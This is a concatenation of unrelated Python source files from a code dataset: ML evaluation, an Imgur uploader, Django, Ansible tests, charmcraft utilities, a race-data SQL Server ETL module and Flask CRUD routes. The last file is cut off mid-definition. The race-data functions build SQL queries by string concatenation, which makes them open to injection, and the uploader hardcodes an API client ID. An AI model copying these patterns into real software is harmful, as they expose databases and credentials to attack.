Date created: 7/30/2018\n\nimport yaml\nimport json\nimport tensorflow as tf\nfrom utils.ioutils import read_word_embeddings, read_data\nfrom models.machine_comprehension import MCModel as Model\n\nif __name__ == '__main__':\n\n config = yaml.safe_load(open('config.yml', 'r'))\n word_to_id_lookup, embeddings = read_word_embeddings(config['embedding_path'])\n test_data = read_data(config, word_to_id_lookup, 'test')\n config['vocab_size'] = embeddings.shape[0]\n config['embedding_size'] = embeddings.shape[1]\n\n if config['task'] == 'squad':\n config['extra_vectors'] = 1\n elif config['task'] == 'marco':\n config['extra_vectors'] = 3\n else:\n raise ValueError('Invalid task type')\n\n sess = tf.Session()\n model = Model(config)\n model.initialize_word_embeddings(sess, embeddings)\n id_to_answer_map = model.test(sess, test_data, word_to_id_lookup, config)\n with open(config['test_output'], 'w') as outfile:\n json.dump(id_to_answer_map, outfile)\n","sub_path":"eval/prepare_squad_json.py","file_name":"prepare_squad_json.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"329563172","text":"from urllib import request\nfrom urllib import parse\nimport base64\nimport json\n\n\n\n\ndef upload_image(base64_image,title):\n client_id = \"ef9d29dba3ba428\" # put your client ID here\n #2479c42f45415dce834ef6c495fdee26c4c80db3\n headers = {'Authorization': 'Client-ID ' + client_id}\n data = {'image': b64_image, 'title': 'test'} # create a dictionary.\n http_request = request.Request(\n url=\"https://api.imgur.com/3/upload.json\",\n data=parse.urlencode(data).encode(\"utf-8\"),\n headers=headers\n )\n http_response = request.urlopen(http_request).read().decode('utf-8')\n http_parse = json.loads(http_response)\n \n return (http_parse['data']['link'])\n\nif __name__==\"__main__\":\n f = open(\"image.png\", \"rb\") # open our image file as read only in binary mode\n image_data = f.read() # read in our image file\n b64_image = base64.standard_b64encode(image_data)\n #print(upload_image(b64_image,\"test\"))\n print(b64_image)","sub_path":"project/apps/images/api/uploader.py","file_name":"uploader.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"497495569","text":"import json\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\nfrom accounts.ultis import get_api_actions, read_file_json\n\n\nclass Command(BaseCommand):\n help = \"Create permissions with url pattern\"\n\n def handle(self, *args, **kwargs):\n data = dict()\n for scope in get_api_actions():\n '''\n Create description of scope\n '''\n name_scope = scope.split(':')\n basename = name_scope[0].replace('_', ' ') # name of scope: album\n action_name = name_scope[1].replace('_', ' ') # name of action: create\n description = f'{action_name.title()} object of {basename.title()}'\n\n data.update({scope: description})\n json_path = settings.SCOPES_JSON_PATH\n with open(json_path, 'w+', encoding='utf-8') as f:\n json.dump(data, f, ensure_ascii=False, indent=4, sort_keys=True)\n\n self.stdout.write(self.style.SUCCESS('Successfully create permissions'))","sub_path":"accounts/management/commands/create_scopes.py","file_name":"create_scopes.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"337388458","text":"from collections import OrderedDict\n\ndef sieve(n):\n # Initialize sequence of numbers; value of False => not prime.\n nums = OrderedDict((i, True) for i in xrange(2,n+1))\n \n for i in nums.iterkeys():\n if nums[i]:\n for j in xrange(2*i, n+1, i):\n nums[j] = False\n \n return [key for key,val in nums.iteritems() if val]\n","sub_path":"all_data/exercism_data/python/sieve/c41044e0a821433fa4d1761a57ada869.py","file_name":"c41044e0a821433fa4d1761a57ada869.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"50689392","text":"# Ansible module to manage CheckPoint Firewall (c) 2019\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n#\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nimport pytest\nfrom units.modules.utils import set_module_args, exit_json, fail_json, AnsibleExitJson\n\nfrom ansible.module_utils import basic\nfrom ansible_collections.check_point.mgmt.plugins.modules import cp_mgmt_service_rpc_facts\n\nOBJECT = {\n \"from\": 1,\n \"to\": 1,\n \"total\": 6,\n \"objects\": [\n \"53de74b7-8f19-4cbe-99fc-a81ef0759bad\"\n ]\n}\n\nSHOW_PLURAL_PAYLOAD = {\n 'limit': 1,\n 'details_level': 'uid'\n}\n\nSHOW_SINGLE_PAYLOAD = {\n 'name': 'object_which_is_not_exist'\n}\n\napi_call_object = 'service-rpc'\napi_call_object_plural_version = 'services-rpc'\nfailure_msg = '''{u'message': u'Requested object [object_which_is_not_exist] not found', u'code': u'generic_err_object_not_found'}'''\n\n\nclass TestCheckpointServiceRpcFacts(object):\n module = cp_mgmt_service_rpc_facts\n\n @pytest.fixture(autouse=True)\n def module_mock(self, mocker):\n return mocker.patch.multiple(basic.AnsibleModule, exit_json=exit_json, fail_json=fail_json)\n\n @pytest.fixture\n def connection_mock(self, mocker):\n connection_class_mock = mocker.patch('ansible.module_utils.network.checkpoint.checkpoint.Connection')\n return connection_class_mock.return_value\n\n def test_show_single_object_which_is_not_exist(self, mocker, connection_mock):\n connection_mock.send_request.return_value = (404, failure_msg)\n try:\n result = self._run_module(SHOW_SINGLE_PAYLOAD)\n except Exception as e:\n result = e.args[0]\n\n assert result['failed']\n assert 'Checkpoint device returned error 404 with message ' + failure_msg == result['msg']\n\n def test_show_few_objects(self, mocker, connection_mock):\n connection_mock.send_request.return_value = (200, OBJECT)\n result = self._run_module(SHOW_PLURAL_PAYLOAD)\n\n assert not result['changed']\n assert OBJECT == result['ansible_facts'][api_call_object_plural_version]\n\n def _run_module(self, module_args):\n set_module_args(module_args)\n with pytest.raises(AnsibleExitJson) as ex:\n self.module.main()\n return ex.value.args[0]\n","sub_path":"intro-ansible/venv3/lib/python3.8/site-packages/ansible_collections/check_point/mgmt/tests/units/modules/test_cp_mgmt_service_rpc_facts.py","file_name":"test_cp_mgmt_service_rpc_facts.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"178768842","text":"# Copyright 2020-2021 Canonical Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# For further info, check https://github.com/canonical/charmcraft\n\n\"\"\"Collection of utilities for charmcraft.\"\"\"\n\nimport logging\nimport os\nimport pathlib\nimport platform\nimport sys\nfrom collections import namedtuple\nfrom dataclasses import dataclass\nfrom stat import S_IRGRP, S_IROTH, S_IRUSR, S_IXGRP, S_IXOTH, S_IXUSR\n\nimport yaml\nfrom jinja2 import Environment, FileSystemLoader, PackageLoader, StrictUndefined\n\nfrom charmcraft.cmdbase import CommandError\nfrom charmcraft.env import is_charmcraft_running_in_managed_mode\n\nlogger = logging.getLogger(\"charmcraft.commands\")\n\nOSPlatform = namedtuple(\"OSPlatform\", \"system release machine\")\n\n# handy masks for execution and reading for everybody\nS_IXALL = S_IXUSR | S_IXGRP | S_IXOTH\nS_IRALL = S_IRUSR | S_IRGRP | S_IROTH\n\n# translations from what the platform module informs to the term deb and\n# snaps actually use\nARCH_TRANSLATIONS = {\n \"aarch64\": \"arm64\",\n \"armv7l\": \"armhf\",\n \"i686\": \"i386\",\n \"ppc\": \"powerpc\",\n \"ppc64le\": \"ppc64el\",\n \"x86_64\": \"amd64\",\n \"AMD64\": \"amd64\", # Windows support\n}\n\n\ndef make_executable(fh):\n \"\"\"Make open file fh executable.\"\"\"\n fileno = fh.fileno()\n mode = os.fstat(fileno).st_mode\n mode_r = mode & S_IRALL\n mode_x = mode_r >> 2\n mode = mode | mode_x\n os.fchmod(fileno, mode)\n\n\ndef load_yaml(fpath):\n \"\"\"Return the content of a YAML file.\"\"\"\n if not fpath.is_file():\n logger.debug(\"Couldn't find config file %r\", str(fpath))\n return\n try:\n with fpath.open(\"rb\") as fh:\n content = yaml.safe_load(fh)\n except (yaml.error.YAMLError, OSError) as err:\n logger.error(\"Failed to read/parse config file %r: %r\", str(fpath), err)\n return\n return content\n\n\ndef get_templates_environment(templates_dir):\n \"\"\"Create and return a Jinja environment to deal with the templates.\"\"\"\n templates_dir = os.path.join(\"templates\", templates_dir)\n if getattr(sys, \"frozen\", False) and hasattr(sys, \"_MEIPASS\"):\n # Running as PyInstaller bundle. For more information:\n # https://pyinstaller.readthedocs.io/en/stable/runtime-information.html\n # In this scenario we need to load from the data location that is unpacked\n # into the temprary directory at runtime (sys._MEIPASS).\n logger.debug(\"Bundle directory: %s\", sys._MEIPASS)\n loader = FileSystemLoader(os.path.join(sys._MEIPASS, templates_dir))\n else:\n loader = PackageLoader(\"charmcraft\", templates_dir)\n\n env = Environment(\n loader=loader,\n autoescape=False, # no need to escape things here :-)\n keep_trailing_newline=True, # they're not text files if they don't end in newline!\n optimized=False, # optimization doesn't make sense for one-offs\n undefined=StrictUndefined,\n ) # fail on undefined\n return env\n\n\nclass SingleOptionEnsurer:\n \"\"\"Argparse helper to ensure that the option is specified only once, converting it properly.\n\n Receives a callable to convert the string from command line to the desired object.\n\n Example of use:\n\n parser.add_argument('-n', '--number', type=SingleOptionEnsurer(int), required=True)\n\n No lower limit is checked, that is verified with required=True in the argparse definition.\n \"\"\"\n\n def __init__(self, converter):\n self.converter = converter\n self.count = 0\n\n def __call__(self, value):\n \"\"\"Run by argparse to validate and convert the given argument.\"\"\"\n self.count += 1\n if self.count > 1:\n raise ValueError(\"the option can be specified only once\")\n return self.converter(value)\n\n\n@dataclass(frozen=True)\nclass ResourceOption:\n \"\"\"Argparse helper to validate and convert a 'resource' option.\n\n Receives a callable to convert the string from command line to the desired object.\n\n Example of use:\n\n parser.add_argument('--resource', type=ResourceOption())\n \"\"\"\n\n name: str = None\n revision: int = None\n\n def __call__(self, value):\n \"\"\"Run by argparse to validate and convert the given argument.\"\"\"\n parts = [x.strip() for x in value.split(\":\")]\n parts = [p for p in parts if p]\n if len(parts) == 2:\n name, revision = parts\n try:\n revision = int(revision)\n except ValueError:\n pass\n else:\n if revision > 0:\n return ResourceOption(name, revision)\n msg = \"the resource format must be : (revision being a positive integer)\"\n raise ValueError(msg)\n\n\ndef useful_filepath(filepath):\n \"\"\"Return a valid Path with user name expansion for filepath.\n\n CommandError is raised if filepath is not a valid file or is not readable.\n \"\"\"\n filepath = pathlib.Path(filepath).expanduser()\n if not os.access(filepath, os.R_OK):\n raise CommandError(\"Cannot access {!r}.\".format(str(filepath)))\n if not filepath.is_file():\n raise CommandError(\"{!r} is not a file.\".format(str(filepath)))\n return filepath\n\n\ndef get_os_platform(filepath=pathlib.Path(\"/etc/os-release\")):\n \"\"\"Determine a system/release combo for an OS using /etc/os-release if available.\"\"\"\n system = platform.system()\n release = platform.release()\n machine = platform.machine()\n\n if system == \"Linux\":\n try:\n with filepath.open(\"rt\", encoding=\"utf-8\") as fh:\n lines = fh.readlines()\n except FileNotFoundError:\n logger.debug(\"Unable to locate 'os-release' file, using default values\")\n else:\n os_release = {}\n for line in lines:\n line = line.strip()\n if not line or line.startswith(\"#\") or \"=\" not in line:\n continue\n key, value = line.rstrip().split(\"=\", 1)\n if value[0] == value[-1] and value[0] in ('\"', \"'\"):\n value = value[1:-1]\n os_release[key] = value\n system = os_release.get(\"ID\", system)\n release = os_release.get(\"VERSION_ID\", release)\n\n return OSPlatform(system=system, release=release, machine=machine)\n\n\ndef get_host_architecture():\n \"\"\"Get host architecture in deb format suitable for base definition.\"\"\"\n os_platform = get_os_platform()\n return ARCH_TRANSLATIONS.get(os_platform.machine, os_platform.machine)\n\n\ndef confirm_with_user(prompt, default=False) -> bool:\n \"\"\"Query user for yes/no answer.\n\n If stdin is not a tty, the default value is returned.\n\n If user returns an empty answer, the default value is returned.\n returns default value.\n\n :returns: True if answer starts with [yY], False if answer starts with [nN],\n otherwise the default.\n \"\"\"\n if is_charmcraft_running_in_managed_mode():\n raise RuntimeError(\"confirmation not yet supported in managed-mode\")\n\n if not sys.stdin.isatty():\n return default\n\n choices = \" [Y/n]: \" if default else \" [y/N]: \"\n\n reply = str(input(prompt + choices)).lower().strip()\n if reply and reply[0] == \"y\":\n return True\n elif reply and reply[0] == \"n\":\n return False\n else:\n return default\n","sub_path":"charmcraft/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"296006761","text":"\"\"\" Cornice services.\n\"\"\"\nfrom cornice import Service\nimport requests\nfrom xml.etree import ElementTree\nfrom xml.etree.ElementTree import ParseError\n\n\nmsg = Service(name='msg', path='/api/msg', description='Msg')\n\nURL = 'http://121.40.202.87:8080/RsvpTourGuide/cn-vertical/guide?ToUserName=wkk&FromUserName=wkk&CreateTime=1&MsgType=text&Content=%E8%93%AC%E8%8E%B1%E9%98%81%E9%97%A8%E7%A5%A8&MsgId=1&lat=0.0&lon=0.0&p=Wechat&app=TOUR'\nDISPATCHER_URL = 'http://121.40.202.87:8080/rsvp/baidu/tour'\n #'http://121.40.202.87:8080/rsvp/baidu/tour'\n#'http://121.40.202.87:8080/rsvp/wechat/tour'\n\n@msg.post()\ndef tchat_msg(request):\n TEMPLATE = \"\"\"\n \n \n \n {1}\n {2}\n \n 1\n \n \"\"\"\n\n time = request.POST.get('time', None)\n msgtype = request.POST.get('type', None)\n content = request.POST.get('content', None)\n source = request.POST.get('user', None)\n\n if time and msgtype and content and source:\n message = TEMPLATE.format(source, time, msgtype, content)\n response = requests.post(DISPATCHER_URL, data=message.encode('utf-8'))\n response.encoding = 'utf-8'\n result = ''\n if response.text:\n result = parse_user_msg(response.text)\n if not result:\n url = 'http://121.40.202.87:8080/RsvpTourGuide/cn-vertical/guide?ToUserName=' + source + '&FromUserName=' + source\n url += '&CreateTime=' + time + '&MsgType=' + msgtype + '&Content=' + content + '&MsgId=1&lat=0.0&lon=0.0&p=Wechat&app=TOUR'\n response = requests.get(url)\n response.encoding = 'utf-8'\n result = parse_user_msg(response.text)\n if result:\n return {'status': 0, 'data': result}\n else:\n return {'status': 1, 'data': None}\n return {'status': 1, 'data':None}\n\n # url = 'http://121.40.202.87:8080/RsvpTourGuide/cn-vertical/guide?ToUserName='\n # url += source\n # url += '&FromUserName=' + source + '&CreateTime=' + time + '&MsgType=text&Content=' + content + '&MsgId=1&lat=0.0&lon=0.0&p=Wechat&app=TOUR'\n # response = requests.get(url)\n # # response = requests.get(DISPATCHER_URL+ '蓬莱阁门票')\n # response.encoding = 'utf-8'\n #\n # result = parse_user_msg(response.text)\n # if result:\n # return {'status': 0, 'data': result}\n # else:\n # return {'status': 1, 'data': None}\n\n\n #\n # if time and msgtype and content and source:\n # # message = TEMPLATE.format(source, time, msgtype, content)\n # # response = requests.post(DISPATCHER_URL, data=message)\n # response = requests.get(DISPATCHER_URL+content)\n # result = parse_user_msg(response.text)\n # if result:\n # return {'status': 0, 'data': result}\n # else:\n # return {'status': 1, 'data': None}\n\n\n\n\nclass Article(object):\n def __init__(self, title=None, desc=None, cover=None, url=None):\n self.title = title\n self.desc = desc\n self.cover = cover\n self.url = url\n\n def render(self):\n return {'title': self.title, 'desc': self.desc, 'cover': self.cover, 'url': self.url}\n\ndef parse_user_msg(xml):\n if not xml:\n return\n\n result = ''\n try:\n root = ElementTree.fromstring(xml)\n articles = root.findall('./Articles/item')\n result_message = dict((child.tag, child.text) for child in root)\n _articles = []\n\n result_type = result_message.pop(\"MsgType\").lower()\n\n if result_type == 'text':\n result= {'content': result_message.pop('content')}\n elif result_type == 'news':\n count = int(result_message.pop('ArticleCount'))\n if count <= 10 and count >= 0:\n for i in list(range(count)):\n article_node = articles[i]\n article = dict((child.tag, child.text) for child in article_node)\n _articles.append(Article(article.pop('Title'), article.pop('Description'), article.pop('PicUrl'), article.pop('Url')).render())\n result = _articles\n\n return result\n except ParseError as e:\n return\n","sub_path":"lightapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"398444790","text":"# race_data_mssql\n\n# provides MS SQL Server functions for race data etl\n# db connection string is provided in race_data_main.py\n# database function definitions. keep in separate file - have so can be used for different db engines\nimport pyodbc\nfrom etl_audit_mssql import *\n\ndef getConnection(dbconnstr):\n return pyodbc.connect(dbconnstr)\n\ndef rebuild_stage_db(con):\n # drop and rebuild the db tables.\n cur = con.cursor()\n \n file_name = \"T-SQL Create.sql\"\n \n with open (file_name, \"r\") as drop_create_db:\n str_sql = drop_create_db.read()\n \n cur.execute(str_sql)\n con.commit()\n \ndef checkMeetExists(meet_details, cnn):\n # return EXISTS meet\n cur = cnn.cursor()\n cur.execute(\"SELECT 1 \" \\\n \"FROM Stage.RaceMeeting \" \\\n \"WHERE LTRIM(RTRIM(location)) = '\" + meet_details[0] + \"' \" \\\n \"AND state = '\" + meet_details[1] + \"' \" \\\n \"AND meetingdate = '\" + meet_details[2] + \"'\")\n return cur.fetchone() is not None\n\ndef saveMeetDetails(meet_details, source, etl_run_id, cnn):\n # save the race meet details to the db and return the ID of the just added meet\n try:\n cursor = cnn.cursor()\n strSQL = \"INSERT INTO Stage.RaceMeeting ( \" \\\n \"Location, State, MeetingDate, IsTrial, RailPosition, \" \\\n \"TrackCondition, TrackType, Weather, Penetrometer, \" \\\n \"ResultsLastPublished, Comments, Source, ETLRunID, Created) VALUES ( \" \\\n \"'\" + meet_details[4] + \"', \" \\\n \"'\" + meet_details[3] + \"', \" \\\n \"'\" + meet_details[2] + '-' + meet_details[1] + '-' + meet_details[0] + \"', \" \\\n \"'\" + meet_details[5] + \"', \" \\\n \"'\" + meet_details[6] + \"', \" \\\n \"'\" + meet_details[7] + \"', \" \\\n \"'\" + meet_details[8] + \"', \" \\\n \"'\" + meet_details[9] + \"', \" \\\n \"'\" + meet_details[10] + \"',\" \\\n \"'\" + meet_details[11] + \"', \" \\\n \"'\" + meet_details[12] + \"', \" \\\n \"'\" + source + \"', \" \\\n + etl_run_id + \", \" \\\n \"GETDATE())\"\n cursor.execute(strSQL)\n cnn.commit()\n # return Race Meeting ID\n meet_id = cursor.execute(\"SELECT MAX(RaceMeetingID) AS id FROM Stage.RaceMeeting\").fetchone()\n return meet_id.id\n\n except Exception as exc:\n logError(etl_run_id, \"saveMeetDetails: \" + strSQL, exc, cnn)\n raise # as we can't return a meet id\n\n\ndef saveRaceDetails(race_details, meet_id, source, etl_run_id, cnn):\n # save the race details to the db and return the ID of the race\n\n try:\n cursor = cnn.cursor()\n strSQL = \"INSERT INTO Stage.Race ( \" \\\n \"RaceMeetingID, RaceNumber, RaceTime, RaceName, RaceDistance, \" \\\n \"RaceDetails, TrackCondition, WinningTime, LastSplitTime, \" \\\n \"OfficialComments, Source, ETLRunID, Created) VALUES ( \" \\\n \"'\" + str(meet_id) + \"', \" \\\n \"'\" + race_details[0] + \"', \" \\\n \"'\" + race_details[1] + \"', \" \\\n \"'\" + race_details[2].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + race_details[3] + \"', \" \\\n \"'\" + race_details[4].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + race_details[5] + \"', \" \\\n \"'\" + race_details[6] + \"', \" \\\n \"'\" + race_details[7].replace(\"'\", \"''\") + \"',\" \\\n \"'\" + race_details[8].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + source + \"', \" \\\n + etl_run_id + \", \" \\\n \"GETDATE())\"\n cursor.execute(strSQL)\n cnn.commit()\n\n # return Race ID\n race_id = cursor.execute(\"SELECT MAX(RaceID) AS id FROM Stage.Race\").fetchone()\n return race_id.id\n \n except Exception as exc:\n logError(etl_run_id, \"saveRaceDetails: \" + strSQL, exc, cnn)\n raise # as we can't return a race id\n\ndef saveRunnerDetails(runner_details, race_id, source, etl_run_id, cnn):\n # save the runner details to the db\n try:\n cursor = cnn.cursor()\n strSQL = \"INSERT INTO Stage.Runner ( \" \\\n \"RaceID, Result, Number, Horse, Trainer, \" \\\n \"Jockey, Margin, Barrier, Weight, \" \\\n \"Penalty, StartingPrice, RaceTime, \" \\\n \"DateOfBirth, HorsePageURL, \" \\\n \"Source, ETLRunID, Created) VALUES ( \"\"\" \\\n \"'\" + str(race_id) + \"', \" \\\n \"'\" + runner_details[0] + \"', \" \\\n \"'\" + runner_details[1] + \"', \" \\\n \"'\" + runner_details[2].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + runner_details[3].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + runner_details[4].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + runner_details[5] + \"', \" \\\n \"'\" + runner_details[6] + \"', \" \\\n \"'\" + runner_details[7] + \"',\" \\\n \"'\" + runner_details[8] + \"', \" \\\n \"'\" + runner_details[9] + \"', \" \\\n \"'\" + runner_details[10] + \"', \" \\\n \"'\" + runner_details[11] + \"', \" \\\n \"'\" + runner_details[12].replace(\"'\", \"''\") + \"', \" \\\n \"'\" + source + \"', \" \\\n + etl_run_id + \", \" \\\n \"GETDATE())\"\n cursor.execute(strSQL)\n cnn.commit()\n return 1\n \n except Exception as exc:\n logError(etl_run_id, \"saveRunnerDetails: \" + strSQL, exc, cnn)\n\ndef checkRunnerExists(horse_page_url, cnn):\n # return EXISTS horse with that page URL\n try:\n cur = cnn.cursor()\n strSQL = \"SELECT 1 \" \\\n \"FROM Stage.Runner \" \\\n \"WHERE HorsePageURL = '\" + horse_page_url.replace(\"'\", \"''\") + \"'\"\n cur.execute(strSQL)\n return cur.fetchone() is not None\n \n except Exception as exc:\n logError(etl_run_id, \"checkRunnerExists: \" + strSQL, exc, cnn)\n\ndef getRunnerURLs(cnn):\n # return set of distinct Runner page URLs\n try:\n cur = cnn.cursor()\n strSQL = \"SELECT DISTINCT HorsePageURL \" \\\n \"FROM Stage.Runner\"\n cur.execute(strSQL)\n return cur.fetchall()\n \n except Exception as exc:\n logError(etl_run_id, \"saveRunnerOtherDetails: \" + strSQL, exc, cnn)\n\ndef saveRunnerOtherDetails(dob, runnerURL, cnn):\n # save the runner details to the db\n try:\n cursor = cnn.cursor()\n strSQL = \"UPDATE Stage.Runner SET \" \\\n \"DateOfBirth = '\" + dob + \"' \" \\\n \"WHERE HorsePageURL = '\" + runnerURL + \"'\"\n cursor.execute(strSQL)\n cnn.commit()\n return 1\n \n except Exception as exc:\n logError(etl_run_id, \"saveRunnerOtherDetails: \" + strSQL, exc, cnn)\n","sub_path":"scraper/race_data_mssql.py","file_name":"race_data_mssql.py","file_ext":"py","file_size_in_byte":6567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"365628024","text":"\"\"\"定义library的URL模式\"\"\"\n\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n\n\t# 主页\n\turl(r'^$', views.index, name='index'),\n\n\t# 显示所有的书籍\n\turl(r'^books/$', views.books, name='books'),\n\n\t# 显示一本书的具体信息\n\turl(r'^book/(?P[0-9]{12})/$', views.book, name='book'),\n\n\t# 写书评\n\turl(r'^write_comment/(?P[0-9]{12})/(?PR[0-9]{6})/$', views.write_comment, name='write_comment'),\n\n\t# 删书评\n\turl(r'^delete_comment/(?P[0-9]{12})/(?P\\d+)/$', views.delete_comment, name='delete_comment'),\n\n\t# 借书\n\turl(r'^borrow_book/(?PR[0-9]{6})/(?P[0-9]{12})/$', views.borrow_book, name='borrow_book'),\n\n\t# 还书\n\turl(r'^return_book/(?P\\d+)/$', views.return_book, name='return_book'),\n\n\t# 续借书籍\n\turl(r'^renew/(?P\\d+)/$', views.renew, name='renew'),\n\n\t# 收费\n\t#url(r'^charge/$', views.charge, name='charge'),\n\t\n\t# 我的书架\n\turl(r'^my_books/$', views.my_books, name='my_books'),\n\n\t# 搜索书籍\n\turl(r'^search_book/$', views.search_book, name='search_book')\n\n]\n","sub_path":"library/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"559505810","text":"from app import app, db, Messages\nfrom flask import request, jsonify\nfrom flask_jwt_extended import jwt_required\nfrom sqlalchemy import exc\nfrom . import resource\nfrom app import CursoAdicionalEstudante\nfrom app import CursoAdicionalEstudanteValidator\nfrom app import fieldsFormatter\n\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/curso-adicional-estudante/all', methods=['GET'])\n@jwt_required\n@resource('cursoAdicionalEstudante-all')\ndef cursoAdicionalEstudanteAll():\n page = request.args.get('page', 1, type=int)\n cursoIdFilter = request.args.get('curso_id', None)\n estudanteIdFilter = request.args.get('estudante_id', None)\n cargaHorariaFilter = request.args.get('carga_horaria', None)\n rowsPerPage = app.config['ROWS_PER_PAGE']\n\n query = CursoAdicionalEstudante.query.order_by(CursoAdicionalEstudante.estudante_id)\n\n if (cursoIdFilter != None):\n query = query.filter( \\\n CursoAdicionalEstudante.curso_id == cursoIdFilter \\\n )\n if (estudanteIdFilter != None):\n query = query.filter( \\\n CursoAdicionalEstudante.estudante_id == estudanteIdFilter \\\n )\n if (cargaHorariaFilter != None):\n query = query.filter( \\\n CursoAdicionalEstudante.carga_horaria == cargaHorariaFilter \\\n )\n\n pagination = query.paginate(page=page, per_page=rowsPerPage, error_out=False)\n cursoAdicionalEstudantes = pagination.items\n output = {\n \"pagination\": {\n \"pages_count\": pagination.pages,\n \"itens_count\": pagination.total,\n \"itens_per_page\": rowsPerPage,\n \"prev\": pagination.prev_num,\n \"next\": pagination.next_num,\n \"current\": pagination.page,\n },\n \"itens\": [],\n \"error\": False,\n }\n\n for cursoAdicionalEstudante in cursoAdicionalEstudantes:\n data = {}\n data['carga_horaria'] = cursoAdicionalEstudante.carga_horaria\n data['curso_id'] = cursoAdicionalEstudante.curso_id\n data['estudante_id'] = cursoAdicionalEstudante.estudante_id\n\n output['itens'].append(data)\n\n return jsonify(output)\n\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/curso-adicional-estudante/view//', methods=['GET'])\n@jwt_required\n@resource('cursoAdicionalEstudante-view')\ndef cursoAdicionalEstudanteView(curso_id, estudante_id):\n cursoAdicionalEstudante = CursoAdicionalEstudante.query.filter(CursoAdicionalEstudante.curso_id == curso_id, \\\n CursoAdicionalEstudante.estudante_id == estudante_id).first()\n\n if not cursoAdicionalEstudante:\n return jsonify({'message': Messages.REGISTER_NOT_FOUND.format(estudante_id), 'error': True})\n\n data = {'error': False}\n data['carga_horaria'] = cursoAdicionalEstudante.carga_horaria\n data['curso_id'] = cursoAdicionalEstudante.curso_id\n data['estudante_id'] = cursoAdicionalEstudante.estudante_id\n\n return jsonify(data)\n\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/curso-adicional-estudante/add', methods=['POST'])\n@jwt_required\n@resource('cursoAdicionalEstudante-add')\ndef cursoAdicionalEstudanteAdd():\n data = request.get_json()\n validator = CursoAdicionalEstudanteValidator(data)\n errors = validator.validate()\n\n if (errors['has']):\n return jsonify({'message': Messages.FORM_VALIDATION_ERROR, 'error': errors['has'], 'errors': errors}), 200\n\n cursoAdicionalEstudante = CursoAdicionalEstudante(\n curso_id=data['curso_id'],\n estudante_id=data['estudante_id'],\n carga_horaria=data['carga_horaria']\n )\n\n db.session.add(cursoAdicionalEstudante)\n\n try:\n db.session.commit()\n return jsonify(\n {'message': Messages.REGISTER_SUCCESS_CREATED.format(\"Curso Adicional do Estudante\"), 'error': False})\n except exc.IntegrityError:\n db.session.rollback()\n return jsonify({'message': Messages.REGISTER_CREATE_INTEGRITY_ERROR, 'error': True})\n\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/curso-adicional-estudante/edit//', methods=['PUT'])\n@jwt_required\n@resource('cursoAdicionalEstudante-edit')\ndef cursoAdicionalEstudanteEdit(curso_id, estudante_id):\n cursoAdicionalEstudante = CursoAdicionalEstudante.query.filter(CursoAdicionalEstudante.curso_id == curso_id, \\\n CursoAdicionalEstudante.estudante_id == estudante_id).first()\n\n if not cursoAdicionalEstudante:\n return jsonify({'message': Messages.REGISTER_NOT_FOUND.format(curso_id + \"/\" + estudante_id),\n 'error': True})\n\n data = request.get_json()\n validator = CursoAdicionalEstudanteValidator(data)\n errors = validator.validate()\n\n if (errors['has']):\n return jsonify({'message': Messages.FORM_VALIDATION_ERROR, 'error': errors['has'], 'errors': errors}), 200\n\n cursoAdicionalEstudante.carga_horaria = data['carga_horaria']\n cursoAdicionalEstudante.curso_id = data['curso_id']\n cursoAdicionalEstudante.estudante_id = data['estudante_id']\n\n try:\n db.session.commit()\n return jsonify(\n {'message': Messages.REGISTER_SUCCESS_UPDATED.format(\"Curso Adicional do Estudante\"), 'error': False})\n except exc.IntegrityError:\n db.session.rollback()\n return jsonify({'message': Messages.REGISTER_CHANGE_INTEGRITY_ERROR, 'error': True})\n\n\n# --------------------------------------------------------------------------------------------------#\n\n@app.route('/curso-adicional-estudante/delete//', methods=['DELETE'])\n@jwt_required\n@resource('cursoAdicionalEstudante-delete')\ndef 